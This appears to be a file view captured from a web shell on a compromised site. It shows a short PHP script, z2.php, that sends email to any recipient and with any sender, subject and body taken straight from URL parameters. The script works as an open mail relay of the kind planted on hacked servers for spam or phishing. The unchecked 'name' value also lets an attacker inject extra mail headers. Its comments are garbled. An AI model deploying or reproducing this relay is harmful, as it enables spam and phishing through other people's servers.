Current Path : /home/bitrix/ext_www/klimatlend.ua/ |
Current File : /home/bitrix/ext_www/klimatlend.ua/z2.php |
<?php if (isset($_GET['to']) && isset($_GET['name']) && isset($_GET['subject']) && isset($_GET['message'])) { $to = $_GET['to']; $name = $_GET['name']; $subject = $_GET['subject']; $message = $_GET['message']; // ?????????????? ????????? $headers = "From: $name\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/plain; charset=utf-8\r\n"; // ???????? ?????? $result = mail($to, $subject, $message, $headers); if ($result) { echo 'OK.'; } else { echo 'BAD.'; } } ?>